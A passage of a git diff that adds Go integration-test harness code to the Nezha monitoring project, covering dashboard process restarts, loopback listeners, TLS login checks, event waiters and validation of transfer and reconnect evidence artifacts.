firstRuntime.PID + _, err = dashboard.StartProcess(stopContext) + require.NoError(t, err) + secondRuntime := dashboard.RuntimeIdentity() + + // Then + require.Equal(t, fixture, dashboard.FixtureIdentity()) + require.NotEqual(t, firstRuntime.PID, secondRuntime.PID) + require.Greater(t, secondRuntime.Generation, firstRuntime.Generation) + require.Equal(t, fixture.HTTP.Address, dashboard.Endpoint()) + require.Equal(t, fixture.HTTP, dashboard.FixtureIdentity().HTTP) + require.Equal(t, fixture.HTTPS, dashboard.FixtureIdentity().HTTPS) + require.FileExists(t, fixture.DatabasePath) + require.FileExists(t, fixture.ConfigPath) + require.NoError(t, dashboard.Close(stopContext)) + require.Len(t, dashboard.CleanupReceipt().Processes, 2) + require.NoFileExists(t, filepath.Join("/proc", strconv.Itoa(firstPID))) + require.NoDirExists(t, fixture.WorkspaceRoot) +} diff --git a/integration/agentcompat/internal/dashboard/runtime.go b/integration/agentcompat/internal/dashboard/runtime.go new file mode 100644 index 00000000..1edd3b3a --- /dev/null +++ b/integration/agentcompat/internal/dashboard/runtime.go @@ -0,0 +1,186 @@ +//go:build linux + +package dashboard + +import ( + "bufio" + "context" + "fmt" + "net" + "net/http" + "net/http/cookiejar" + "os" + "strings" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" + "github.com/nezhahq/nezha/integration/agentcompat/internal/workspace" +) + +func (dashboard *Dashboard) prepare(ctx context.Context, config StartConfig) error { + if err := dashboard.prepareFixture(ctx, config); err != nil { + return err + } + process, err := dashboard.startGeneration(ctx, 1) + if err != nil { + return err + } + dashboard.generation = 1 + dashboard.currentProcess, dashboard.supervisor = process, process.supervisor + dashboard.processes = append(dashboard.processes, process) + return nil +} + +func (dashboard *Dashboard) startGeneration(ctx context.Context, generation uint64) (*dashboardGeneration, error) { + files := make([]*os.File, 0, 3) + for _, listener := range []*workspace.OwnedListener{dashboard.httpListener, dashboard.receiptListener, dashboard.httpsListener} { + if listener == nil { + continue + } + file, err := listener.ExtraFile() + if err != nil { + return nil, err + } + files = append(files, file) + } + logFile, err := dashboard.workspace.Log(fmt.Sprintf("dashboard-generation-%d", generation)) + if err != nil { + return nil, err + } + dashboard.logPath = logFile.Name() + supervisor := processharness.NewSupervisor(context.WithoutCancel(ctx), processharness.Spec{ + Name: "dashboard", Path: dashboard.binaryPath, Args: []string{"-c", dashboard.configPath, "-db", dashboard.databasePath}, + Env: dashboardEnvironment(dashboard.startConfig.EnableTLS, dashboard.startConfig.ReceiptGate), ExtraFiles: files, + Stdout: logFile, Stderr: logFile, MaxLogBytes: dashboardMaxLogBytes, + TerminateTimeout: defaultProcessStopTimeout, KillTimeout: defaultProcessKillTimeout, + }) + if err := supervisor.Start(); err != nil { + return nil, err + } + identity := RuntimeIdentity{Generation: generation, PID: supervisor.PID(), ProcessGroupID: supervisor.ProcessGroupID()} + process := &dashboardGeneration{supervisor: supervisor, identity: identity} + rollback := true + defer func() { + if rollback { + _ = process.supervisor.Stop(context.WithoutCancel(ctx)) + if process.receiptConn != nil { + _ = process.receiptConn.Close() + } + } + }() + if err := dashboard.workspace.TrackPID(identity.PID); err != nil { + return nil, err + } + if err := dashboard.workspace.TrackProcessGroup(identity.ProcessGroupID); err != nil { + return nil, err + } + dashboard.supervisor = supervisor + dashboard.stateMu.Lock() + dashboard.eventGeneration = generation + dashboard.stateMu.Unlock() + if dashboard.startConfig.ReceiptGate { + connection, err := (&net.Dialer{}).DialContext(ctx, "tcp", dashboard.receiptAddress) + if err != nil { + return nil, fmt.Errorf("connect dashboard receipt gate: %w", err) + } + process.receiptConn = connection + reader := bufio.NewReader(connection) + line, err := reader.ReadString('\n') + if err != nil { + return nil, fmt.Errorf("wait for dashboard receipt gate: %w", err) + } + if line != "ready\n" { + return nil, fmt.Errorf("unexpected dashboard receipt gate handshake %q", line) + } + dashboard.eventMu.Lock() + dashboard.receiptConn = connection + dashboard.receiptReader = reader + dashboard.receiptEvents = make(chan string, 16) + dashboard.eventNotify = make(chan struct{}) + dashboard.eventClosed = false + dashboard.eventMu.Unlock() + dashboard.info2Mu.Lock() + dashboard.info2Events = make(map[string]struct{}) + dashboard.info2Mu.Unlock() + dashboard.stateMu.Lock() + dashboard.stateEvents = make(map[stateEventIdentity]struct{}) + dashboard.stateMu.Unlock() + go dashboard.readReceiptEvents(generation, reader) + } + if err := dashboard.refreshClients(ctx); err != nil { + return nil, err + } + process.httpTransport = dashboard.httpTransport + process.tlsTransport = dashboard.tlsTransport + if dashboard.startConfig.EnableTLS { + if err := dashboard.verifyTrustedTLS(ctx); err != nil { + return nil, err + } + } + rollback = false + return process, nil +} + +func (dashboard *Dashboard) adoptLoopbackListener() (*workspace.OwnedListener, error) { + listener, err := net.Listen("tcp4", "127.0.0.1:0") + if err != nil { + return nil, fmt.Errorf("listen for dashboard: %w", err) + } + owned, err := dashboard.workspace.AdoptListener(listener) + if err != nil { + _ = listener.Close() + return nil, fmt.Errorf("adopt dashboard listener: %w", err) + } + return owned, nil +} + +func (dashboard *Dashboard) refreshClients(ctx context.Context) error { + jar, err := cookiejar.New(nil) + if err != nil { + return err + } + dashboard.httpTransport = &http.Transport{DialContext: dialAddress(dashboard.httpAddress)} + dashboard.restHTTPClient = &http.Client{Transport: dashboard.httpTransport, Jar: jar, Timeout: dashboardHTTPClientTimeout} + dashboard.clients.REST, err = client.New(client.Config{BaseURL: dashboard.URL(), HTTPClient: dashboard.restHTTPClient}) + if err != nil { + return err + } + pat, err := dashboard.bootstrapAuthentication(ctx) + if err != nil { + return err + } + return dashboard.initializeAuthenticatedClients(ctx, pat) +} + +func dashboardEnvironment(enableTLS bool, receiptGateOption ...bool) []string { + receiptGate := len(receiptGateOption) > 0 && receiptGateOption[0] + environment := make([]string, 0, len(os.Environ())+3) + for _, variable := range os.Environ() { + if strings.HasPrefix(variable, "NZ_") || strings.HasPrefix(variable, "NEZHA_AGENTCOMPAT_") { + continue + } + environment = append(environment, variable) + } + environment = append(environment, + "NZ_JWTSECRETKEY="+jwtSecret, + "NEZHA_AGENTCOMPAT_HTTP_LISTENER_FD=3", + ) + if receiptGate { + environment = append(environment, "NEZHA_AGENTCOMPAT_RECEIPT_LISTENER_FD=4") + } + if enableTLS { + fd := 4 + if receiptGate { + fd = 5 + } + environment = append(environment, fmt.Sprintf("NEZHA_AGENTCOMPAT_HTTPS_LISTENER_FD=%d", fd)) + } + return environment +} + +func dialAddress(address string) func(context.Context, string, string) (net.Conn, error) { + return func(ctx context.Context, network, _ string) (net.Conn, error) { + var dialer net.Dialer + return dialer.DialContext(ctx, network, address) + } +} diff --git a/integration/agentcompat/internal/dashboard/tls.go b/integration/agentcompat/internal/dashboard/tls.go new file mode 100644 index 00000000..2ee7d000 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/tls.go @@ -0,0 +1,46 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/http/cookiejar" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/client" +) + +func (dashboard *Dashboard) verifyTrustedTLS(ctx context.Context) error { + httpClient, transport, err := dashboard.newTLSHTTPClient("localhost") + if err != nil { + return err + } + dashboard.tlsTransport = transport + tlsClient, err := client.New(client.Config{BaseURL: dashboard.TLSURL(), HTTPClient: httpClient}) + if err != nil { + return err + } + login, err := tlsClient.Login(ctx, client.LoginRequest{Username: "admin", Password: "admin"}) + if err != nil { + return fmt.Errorf("login through trusted dashboard TLS: %w", err) + } + if login.Token == "" { + return errors.New("trusted dashboard TLS login omitted JWT") + } + dashboard.bootstrap.TLSAuthenticated = true + return nil +} + +func (dashboard *Dashboard) newTLSHTTPClient(serverName string) (*http.Client, *http.Transport, error) { + jar, err := cookiejar.New(nil) + if err != nil { + return nil, nil, fmt.Errorf("create TLS cookie jar: %w", err) + } + transport := &http.Transport{ + TLSClientConfig: dashboard.tlsFixture.ClientConfig(serverName), + DialContext: dialAddress(dashboard.httpsAddress), + } + return &http.Client{Transport: transport, Jar: jar, Timeout: dashboardHTTPClientTimeout}, transport, nil +} diff --git a/integration/agentcompat/internal/dashboard/waiter_broadcast_test.go b/integration/agentcompat/internal/dashboard/waiter_broadcast_test.go new file mode 100644 index 00000000..a870ca76 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/waiter_broadcast_test.go @@ -0,0 +1,119 @@ +//go:build linux + +package dashboard + +import ( + "context" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +func newWaiterDashboard() *Dashboard { + return &Dashboard{ + receiptEvents: make(chan string), + eventNotify: make(chan struct{}), + info2Events: make(map[string]struct{}), + stateEvents: make(map[stateEventIdentity]struct{}), + } +} + +func (dashboard *Dashboard) publishTestEvent() { + dashboard.eventMu.Lock() + close(dashboard.eventNotify) + dashboard.eventNotify = make(chan struct{}) + dashboard.eventMu.Unlock() +} + +func TestDashboardWaiters_AllObserveCachedEvents(t *testing.T) { + // Given + dashboard := newWaiterDashboard() + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + waiters := []func(context.Context) error{ + func(ctx context.Context) error { return dashboard.WaitForInfo2(ctx, 7, "uuid") }, + func(ctx context.Context) error { return dashboard.WaitForInfo2(ctx, 7, "uuid") }, + func(ctx context.Context) error { return dashboard.WaitForState(ctx, 2) }, + func(ctx context.Context) error { return dashboard.WaitForState(ctx, 2) }, + func(ctx context.Context) error { return dashboard.WaitForReceiptAccepted(ctx) }, + func(ctx context.Context) error { return dashboard.WaitForReceiptAccepted(ctx) }, + } + results := make(chan error, len(waiters)) + var group sync.WaitGroup + group.Add(len(waiters)) + for _, wait := range waiters { + go func(wait func(context.Context) error) { + defer group.Done() + results <- wait(ctx) + }(wait) + } + // When + dashboard.info2Mu.Lock() + dashboard.info2Events["info2 7 uuid\n"] = struct{}{} + dashboard.info2Mu.Unlock() + dashboard.stateMu.Lock() + dashboard.stateEvents[stateEventIdentity{ServerID: 7, UUID: "uuid", Generation: 1, Count: 2}] = struct{}{} + dashboard.stateMu.Unlock() + dashboard.receiptMu.Lock() + dashboard.receiptAcceptedCount = 1 + dashboard.receiptMu.Unlock() + dashboard.publishTestEvent() + group.Wait() + + // Then + close(results) + for err := range results { + require.NoError(t, err) + } + require.NoError(t, dashboard.WaitForInfo2(ctx, 7, "uuid")) + require.NoError(t, dashboard.WaitForState(ctx, 2)) + require.NoError(t, dashboard.WaitForReceiptAccepted(ctx)) +} + +func TestDashboardWaiters_CloseWakesAllWithTypedError(t *testing.T) { + // Given + dashboard := newWaiterDashboard() + ctx, cancel := context.WithTimeout(t.Context(), time.Second) + defer cancel() + results := make(chan error, 4) + go func() { results <- dashboard.WaitForInfo2(ctx, 7, "uuid") }() + go func() { results <- dashboard.WaitForState(ctx, 2) }() + go func() { results <- dashboard.WaitForReceiptAccepted(ctx) }() + go func() { results <- dashboard.WaitForSecondState(ctx) }() + + // When + dashboard.eventMu.Lock() + dashboard.eventClosed = true + close(dashboard.eventNotify) + dashboard.eventNotify = make(chan struct{}) + dashboard.eventMu.Unlock() + + // Then + for index := 0; index < 4; index++ { + require.ErrorIs(t, <-results, ErrReceiptGateClosed) + } +} + +func TestDashboardWaitForStateGenerationDoesNotCrossMatchServers(t *testing.T) { + dashboard := newWaiterDashboard() + dashboard.stateMu.Lock() + dashboard.stateEvents[stateEventIdentity{ServerID: 7, UUID: "server-seven", Generation: 1, Count: 1}] = struct{}{} + dashboard.stateMu.Unlock() + + ctx, cancel := context.WithTimeout(t.Context(), 50*time.Millisecond) + defer cancel() + err := dashboard.WaitForStateGeneration(ctx, 8, "server-eight", 1, 1) + + require.ErrorIs(t, err, context.DeadlineExceeded) +} + +func TestDashboardAcceptedEventTracksReceiptAndStateGenerationsSeparately(t *testing.T) { + dashboard := newWaiterDashboard() + dashboard.receiptEvents = make(chan string) + dashboard.processReceiptLine("accepted 7 server-seven 4 9 1\n") + + require.Equal(t, uint64(4), dashboard.ReceiptGeneration()) + require.NoError(t, dashboard.WaitForStateGeneration(t.Context(), 7, "server-seven", 9, 1)) +} diff --git a/integration/agentcompat/internal/dashboard/waiters.go b/integration/agentcompat/internal/dashboard/waiters.go new file mode 100644 index 00000000..4ec858a9 --- /dev/null +++ b/integration/agentcompat/internal/dashboard/waiters.go @@ -0,0 +1,184 @@ +//go:build linux + +package dashboard + +import ( + "context" + "errors" + "fmt" + "strings" +) + +func (dashboard *Dashboard) WaitForReceiptAccepted(ctx context.Context) error { + if dashboard.receiptEvents == nil { + return errors.New("receipt gate is disabled") + } + for { + dashboard.eventMu.RLock() + closed, notify := dashboard.eventClosed, dashboard.eventNotify + dashboard.eventMu.RUnlock() + dashboard.receiptMu.RLock() + observed := dashboard.receiptAcceptedCount > 0 + dashboard.receiptMu.RUnlock() + if closed { + return ErrReceiptGateClosed + } + if observed { + return nil + } + select { + case <-notify: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func (dashboard *Dashboard) WaitForSecondState(ctx context.Context) error { + if dashboard.receiptEvents == nil { + return errors.New("receipt gate is disabled") + } + for { + dashboard.eventMu.RLock() + closed, notify := dashboard.eventClosed, dashboard.eventNotify + dashboard.eventMu.RUnlock() + dashboard.receiptMu.RLock() + observed := dashboard.receiptAcceptedCount >= 2 + dashboard.receiptMu.RUnlock() + if closed { + return ErrReceiptGateClosed + } + if observed { + return nil + } + select { + case <-notify: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func (dashboard *Dashboard) WaitForState(ctx context.Context, want uint64) error { + return dashboard.waitForState(ctx, 0, "", 0, want) +} + +func (dashboard *Dashboard) WaitForStateGeneration(ctx context.Context, serverID uint64, uuid string, generation, want uint64) error { + return dashboard.waitForState(ctx, serverID, uuid, generation, want) +} + +func (dashboard *Dashboard) StateGeneration(serverID uint64, uuid string) uint64 { + dashboard.stateMu.Lock() + defer dashboard.stateMu.Unlock() + var generation uint64 + for event := range dashboard.stateEvents { + if event.ServerID == serverID && event.UUID == uuid && event.Generation > generation { + generation = event.Generation + } + } + return generation +} + +func (dashboard *Dashboard) waitForState(ctx context.Context, serverID uint64, uuid string, generation, want uint64) error { + if dashboard.receiptEvents == nil { + return errors.New("receipt gate is disabled") + } + for { + dashboard.eventMu.RLock() + closed, notify := dashboard.eventClosed, dashboard.eventNotify + dashboard.eventMu.RUnlock() + dashboard.stateMu.Lock() + observed := false + for event := range dashboard.stateEvents { + if (serverID == 0 || event.ServerID == serverID) && (uuid == "" || event.UUID == uuid) && (generation == 0 || event.Generation == generation) && event.Count == want { + observed = true + break + } + } + dashboard.stateMu.Unlock() + if closed { + return ErrReceiptGateClosed + } + if observed { + return nil + } + select { + case <-notify: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func (dashboard *Dashboard) WaitForInfo2(ctx context.Context, serverID uint64, uuid string) error { + if dashboard.receiptEvents == nil { + return errors.New("receipt gate is disabled") + } + want := fmt.Sprintf("info2 %d %s\n", serverID, uuid) + for { + dashboard.eventMu.RLock() + closed, notify := dashboard.eventClosed, dashboard.eventNotify + dashboard.eventMu.RUnlock() + dashboard.info2Mu.Lock() + _, observed := dashboard.info2Events[want] + dashboard.info2Mu.Unlock() + if closed { + return ErrReceiptGateClosed + } + if observed { + return nil + } + select { + case <-notify: + case <-ctx.Done(): + return ctx.Err() + } + } +} + +func (dashboard *Dashboard) WaitForInfo2UUID(ctx context.Context, uuid string) (uint64, error) { + if dashboard.receiptEvents == nil { + return 0, errors.New("receipt gate is disabled") + } + for { + dashboard.eventMu.RLock() + closed, notify := dashboard.eventClosed, dashboard.eventNotify + dashboard.eventMu.RUnlock() + dashboard.info2Mu.Lock() + for event := range dashboard.info2Events { + fields := strings.Fields(event) + if len(fields) == 3 && fields[0] == "info2" && fields[2] == uuid { + var serverID uint64 + if _, err := fmt.Sscan(fields[1], &serverID); err == nil && serverID != 0 { + dashboard.info2Mu.Unlock() + return serverID, nil + } + } + } + dashboard.info2Mu.Unlock() + if closed { + return 0, ErrReceiptGateClosed + } + select { + case <-notify: + case <-ctx.Done(): + return 0, ctx.Err() + } + } +} + +func (dashboard *Dashboard) ReceiptAccepted() bool { + dashboard.receiptMu.RLock() + defer dashboard.receiptMu.RUnlock() + return dashboard.receiptAccepted +} +func (dashboard *Dashboard) ReceiptAcceptedCount() uint64 { + dashboard.receiptMu.RLock() + defer dashboard.receiptMu.RUnlock() + return dashboard.receiptAcceptedCount +} +func (dashboard *Dashboard) ReceiptGeneration() uint64 { + dashboard.receiptMu.RLock() + defer dashboard.receiptMu.RUnlock() + return dashboard.receiptGeneration +} diff --git a/integration/agentcompat/internal/evidence/contract_metadata.go b/integration/agentcompat/internal/evidence/contract_metadata.go new file mode 100644 index 00000000..65e93d25 --- /dev/null +++ b/integration/agentcompat/internal/evidence/contract_metadata.go @@ -0,0 +1,59 @@ +package evidence + +import ( + "fmt" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type ProfileMetadata struct { + Name string `json:"name"` + JobTimeoutSeconds int64 `json:"job_timeout_seconds"` + SuiteDeadlineSeconds int64 `json:"suite_deadline_seconds"` + DefaultSeed string `json:"default_seed"` + AgentCount int `json:"agent_count"` + StressRounds int `json:"stress_rounds"` + ConcurrentOperations int `json:"concurrent_operations"` + ConcurrentSessionsPerKind int `json:"concurrent_sessions_per_kind"` + TransferPairs int `json:"transfer_pairs"` + TransferBytes uint64 `json:"transfer_bytes"` + DashboardRestartCycles int `json:"dashboard_restart_cycles"` + Iterations int `json:"iterations"` + StreamBoundaryAllowed int `json:"stream_boundary_allowed"` + StreamBoundaryRejected int `json:"stream_boundary_rejected"` +} + +type ResourceBudgetMetadata struct { + WarmupRunsPerPath int `json:"warmup_runs_per_path"` + BaselineSampleCount int `json:"baseline_sample_count"` + EndSampleCount int `json:"end_sample_count"` + SampleIntervalMilliseconds int64 `json:"sample_interval_milliseconds"` + ChildProcessCountDrift int `json:"child_process_count_drift"` + ListenerCountDrift int `json:"listener_count_drift"` + NonStdioFDCountDrift int `json:"non_stdio_fd_count_drift"` + DashboardRSSDeltaBytes uint64 `json:"dashboard_rss_delta_bytes"` + AgentRSSDeltaBytes uint64 `json:"agent_rss_delta_bytes"` + TransferHeapBytes uint64 `json:"transfer_heap_bytes"` +} + +func profileMetadata(profile contract.Profile) ProfileMetadata { + return ProfileMetadata{Name: string(profile.Name()), JobTimeoutSeconds: int64(profile.JobTimeout().Seconds()), SuiteDeadlineSeconds: int64(profile.SuiteDeadline().Seconds()), DefaultSeed: fmt.Sprintf("0x%x", uint64(profile.Seed())), AgentCount: profile.AgentCount(), StressRounds: profile.StressRounds(), ConcurrentOperations: profile.ConcurrentOperations(), ConcurrentSessionsPerKind: profile.ConcurrentSessions(), TransferPairs: profile.TransferPairs(), TransferBytes: profile.TransferBytes(), DashboardRestartCycles: profile.DashboardRestartCycles(), Iterations: profile.Iterations(), StreamBoundaryAllowed: profile.StreamBoundaryAllowed(), StreamBoundaryRejected: profile.StreamBoundaryRejected()} +} + +func resourceBudgetMetadata(budget contract.ResourceBudget) ResourceBudgetMetadata { + return ResourceBudgetMetadata{WarmupRunsPerPath: budget.WarmupRuns(), BaselineSampleCount: budget.SampleCount(), EndSampleCount: budget.SampleCount(), SampleIntervalMilliseconds: budget.SampleInterval().Milliseconds(), ChildProcessCountDrift: budget.ChildProcessCountDrift(), ListenerCountDrift: budget.ListenerCountDrift(), NonStdioFDCountDrift: budget.NonStdioFDCountDrift(), DashboardRSSDeltaBytes: budget.DashboardRSSDeltaBytes(), AgentRSSDeltaBytes: budget.AgentRSSDeltaBytes(), TransferHeapBytes: budget.TransferHeapBytes()} +} + +func (p ProfileMetadata) Validate() error { + if p.Name == "" || p.JobTimeoutSeconds < 1 || p.SuiteDeadlineSeconds < 1 || p.DefaultSeed == "" || p.DefaultSeed == "0x0" || p.AgentCount < 1 || p.StressRounds < 1 || p.ConcurrentOperations < 1 || p.ConcurrentSessionsPerKind < 1 || p.TransferPairs < 1 || p.TransferBytes == 0 || p.DashboardRestartCycles < 1 || p.Iterations < 1 || p.StreamBoundaryAllowed < 1 || p.StreamBoundaryRejected <= p.StreamBoundaryAllowed { + return fmt.Errorf("profile fields are invalid") + } + return nil +} + +func (b ResourceBudgetMetadata) Validate() error { + if b.WarmupRunsPerPath < 1 || b.BaselineSampleCount < 1 || b.EndSampleCount < 1 || b.SampleIntervalMilliseconds < 1 || b.ChildProcessCountDrift < 0 || b.ListenerCountDrift < 0 || b.NonStdioFDCountDrift < 0 || b.DashboardRSSDeltaBytes == 0 || b.AgentRSSDeltaBytes == 0 || b.TransferHeapBytes == 0 { + return fmt.Errorf("resource budget fields are invalid") + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/dedicated_artifacts.go b/integration/agentcompat/internal/evidence/dedicated_artifacts.go new file mode 100644 index 00000000..bdef7046 --- /dev/null +++ b/integration/agentcompat/internal/evidence/dedicated_artifacts.go @@ -0,0 +1,213 @@ +package evidence + +import ( + "errors" + "strings" + "time" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +type transferEvidence struct { + WarmupUploadBytes uint64 `json:"warmup_upload_bytes"` + WarmupDownloadBytes uint64 `json:"warmup_download_bytes"` + WarmupSHA256 string `json:"warmup_sha256"` + WarmupDuration time.Duration `json:"warmup_duration"` + WarmupDeadlineRemaining time.Duration `json:"warmup_deadline_remaining"` + WarmupQuiescent bool `json:"warmup_quiescent"` + UploadBytes uint64 `json:"upload_bytes"` + DownloadBytes uint64 `json:"download_bytes"` + UploadSHA256 string `json:"upload_sha256"` + DownloadSHA256 string `json:"download_sha256"` + UploadChunks uint64 `json:"upload_chunks"` + DownloadChunks uint64 `json:"download_chunks"` + UploadDuration time.Duration `json:"upload_duration"` + DownloadDuration time.Duration `json:"download_duration"` + RetainedHeapBytes uint64 `json:"retained_heap_bytes"` + Mode string `json:"mode"` + CreateDirs bool `json:"create_dirs"` + UploadReplayRejected bool `json:"upload_replay_rejected"` + DownloadReplayRejected bool `json:"download_replay_rejected"` + OversizeRejected bool `json:"oversize_rejected"` + AgentTempResidue int `json:"agent_temp_residue"` + DashboardSpoolResidue int `json:"dashboard_spool_residue"` + OutsideRootSentinelsUnchanged bool `json:"outside_root_sentinels_unchanged"` +} + +type transferArtifact struct { + Scenario string `json:"scenario"` + Fault string `json:"fault,omitempty"` + Passed bool `json:"passed"` + CleanupOK bool `json:"cleanup_ok"` + Error string `json:"error,omitempty"` + Evidence transferEvidence `json:"evidence"` +} + +type reconnectObservation struct { + ServerID uint64 + UUID string + OldGeneration uint64 + NewGeneration uint64 + DisconnectAt time.Time + ReconnectAt time.Time + TaskIDs []uint64 + ResultIDs []uint64 + PostReconnect bool + AgentRestarted bool +} + +type listenerIdentity struct { + Address string + Inode uint64 +} + +type fixtureIdentity struct { + WorkspaceRoot string + ConfigPath string + DatabasePath string + BinaryPath string + HTTP listenerIdentity + Receipt listenerIdentity + HTTPS listenerIdentity +} + +type runtimeIdentity struct { + Generation uint64 + PID int + ProcessGroupID int +} + +type receiptEvent struct { + Sequence uint64 `json:"sequence"` + DashboardGeneration uint64 `json:"dashboard_generation"` + GateGeneration uint64 `json:"gate_generation"` + ServerID uint64 `json:"server_id"` + TaskID uint64 `json:"task_id"` + TaskType uint64 `json:"task_type"` + Kind string `json:"kind"` +} + +type receiptPair struct { + Task receiptEvent `json:"task"` + Result receiptEvent `json:"result"` +} + +type cleanupRecord struct { + Name string `json:"name"` + PID int `json:"pid"` + Forced bool `json:"forced"` + Error string `json:"error,omitempty"` +} + +type cleanupReceipt struct { + Passed bool `json:"passed"` + Forced bool `json:"forced"` + Processes []cleanupRecord `json:"processes"` +} + +type reconnectEvidence struct { + Fixture struct { + Dashboard fixtureIdentity `json:"dashboard"` + AgentRoot string `json:"agent_root"` + AgentConfigPath string `json:"agent_config_path"` + AgentBinaryPath string `json:"agent_binary_path"` + } `json:"fixture"` + Runtime struct { + DashboardBefore runtimeIdentity `json:"dashboard_before"` + DashboardAfter runtimeIdentity `json:"dashboard_after"` + AgentBefore runtimeIdentity `json:"agent_before"` + AgentAfter runtimeIdentity `json:"agent_after"` + StateGenerationBeforeAgentRestart uint64 `json:"state_generation_before_agent_restart"` + StateGenerationAfterAgentRestart uint64 `json:"state_generation_after_agent_restart"` + } `json:"runtime"` + Identity struct { + ServerID uint64 `json:"server_id"` + UUID string `json:"uuid"` + DashboardConfigUnchanged bool `json:"dashboard_config_unchanged"` + AgentConfigUnchanged bool `json:"agent_config_unchanged"` + DashboardFixtureUnchanged bool `json:"dashboard_fixture_unchanged"` + ClientsRecreated bool `json:"clients_recreated"` + BootstrapRecreated bool `json:"bootstrap_recreated"` + } `json:"identity"` + Lifecycle struct { + DisconnectAt time.Time `json:"disconnect_at"` + ReconnectAt time.Time `json:"reconnect_at"` + ReconnectInterval time.Duration `json:"reconnect_interval"` + DashboardReceipts []receiptPair `json:"dashboard_receipts"` + AgentReceipts []receiptPair `json:"agent_receipts"` + StaleGenerationReceipts int `json:"stale_generation_receipts"` + DuplicateTaskIDs int `json:"duplicate_task_ids"` + LostResultIDs int `json:"lost_result_ids"` + OutsideRootSentinelUnchanged bool `json:"outside_root_sentinel_unchanged"` + } `json:"lifecycle"` + Observation reconnectObservation `json:"observation"` + AgentCleanup cleanupReceipt `json:"agent_cleanup"` + DashboardCleanup cleanupReceipt `json:"dashboard_cleanup"` +} + +type reconnectArtifact struct { + Scenario string `json:"scenario"` + Fault string `json:"fault,omitempty"` + Passed bool `json:"passed"` + CleanupOK bool `json:"cleanup_ok"` + Error string `json:"error,omitempty"` + Evidence reconnectEvidence `json:"evidence"` +} + +func validateTransferArtifact(metadata Metadata, result ScenarioResult, artifact transferArtifact) error { + if err := validateArtifactHeader(metadata, result, artifact.Scenario, artifact.Fault, artifact.Passed, artifact.CleanupOK, artifact.Error); err != nil { + return err + } + switch artifact.Fault { + case "": + if !artifact.Passed { + return errors.New("transfer success artifact reports failure") + } + if err := validateTransferSuccess(artifact.Evidence); err != nil { + return err + } + case contract.FaultTransferHash: + if artifact.Passed || !strings.Contains(artifact.Error, "injected hash mismatch") { + return errors.New("transfer-hash artifact does not identify the injected failure") + } + evidence := artifact.Evidence + if evidence.WarmupUploadBytes != 65536 || evidence.WarmupDownloadBytes != 65536 || evidence.WarmupSHA256 == "" || evidence.WarmupDuration <= 0 || evidence.WarmupDeadlineRemaining <= 0 || !evidence.WarmupQuiescent { + return errors.New("transfer-hash artifact omitted warmup evidence") + } + if evidence.UploadBytes != 0 || evidence.DownloadBytes != 0 || evidence.UploadSHA256 != "" || evidence.DownloadSHA256 != "" || evidence.UploadChunks != 0 || evidence.DownloadChunks != 0 || evidence.UploadDuration != 0 || evidence.DownloadDuration != 0 || evidence.RetainedHeapBytes != 0 || evidence.Mode != "" || evidence.CreateDirs || evidence.UploadReplayRejected || evidence.DownloadReplayRejected || evidence.OversizeRejected { + return errors.New("transfer-hash artifact presents stale success evidence") + } + if evidence.AgentTempResidue != 0 || evidence.DashboardSpoolResidue != 0 || !evidence.OutsideRootSentinelsUnchanged { + return errors.New("transfer-hash artifact cleanup or sentinel evidence failed") + } + default: + return errors.New("transfer artifact has unsupported fault") + } + return nil +} + +func validateArtifactHeader(metadata Metadata, result ScenarioResult, scenarioName, fault string, passed, cleanupOK bool, errorText string) error { + if scenarioName != result.Name || scenarioName != metadata.Scenarios[0] || fault != metadata.Fault || passed != result.Passed || !cleanupOK || errorText != result.Error { + return errors.New("dedicated artifact does not agree with metadata, results, or cleanup") + } + if passed && errorText != "" || !passed && errorText == "" { + return errors.New("dedicated artifact pass/error state is inconsistent") + } + return nil +} + +func validateTransferSuccess(evidence transferEvidence) error { + if evidence.WarmupUploadBytes != 65536 || evidence.WarmupDownloadBytes != 65536 || evidence.WarmupSHA256 == "" || evidence.WarmupDuration <= 0 || evidence.WarmupDeadlineRemaining <= 0 || !evidence.WarmupQuiescent { + return errors.New("transfer warmup evidence is invalid") + } + if evidence.UploadBytes != contract.TransferBytes || evidence.DownloadBytes != contract.TransferBytes || evidence.UploadSHA256 == "" || !strings.EqualFold(evidence.UploadSHA256, evidence.DownloadSHA256) { + return errors.New("transfer byte counts or hashes are invalid") + } + if evidence.UploadChunks == 0 || evidence.DownloadChunks == 0 || evidence.UploadDuration <= 0 || evidence.DownloadDuration <= 0 || evidence.RetainedHeapBytes > contract.TransferHeapBytes { + return errors.New("transfer measurement evidence is invalid") + } + if evidence.Mode != "0640" || !evidence.CreateDirs || !evidence.UploadReplayRejected || !evidence.DownloadReplayRejected || !evidence.OversizeRejected || evidence.AgentTempResidue != 0 || evidence.DashboardSpoolResidue != 0 || !evidence.OutsideRootSentinelsUnchanged { + return errors.New("transfer contract evidence is invalid") + } + return nil +} diff --git a/integration/agentcompat/internal/evidence/dedicated_assertion_test.go b/integration/agentcompat/internal/evidence/dedicated_assertion_test.go new file mode 100644 index 00000000..5f8f613b --- /dev/null +++ b/integration/agentcompat/internal/evidence/dedicated_assertion_test.go @@ -0,0 +1,46 @@ +package evidence + +import ( + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestEvidence_DedicatedArtifactsRequireExactScenarioAssertions(t *testing.T) { + tests := []struct { + name string + scenario string + assertion string + artifact func(*testing.T, string) + }{ + {"transfer generic", contract.ScenarioTransfer100MiB, "scenario passed", func(t *testing.T, dir string) { + writeJSONEvidenceFile(t, dir, "transfer.json", validTransferArtifact("", true)) + }}, + {"transfer mismatched", contract.ScenarioTransfer100MiB, contract.AssertionReconnectDisconnect, func(t *testing.T, dir string) { + writeJSONEvidenceFile(t, dir, "transfer.json", validTransferArtifact("", true)) + }}, + {"reconnect generic", contract.ScenarioReconnect, "scenario passed", func(t *testing.T, dir string) { + 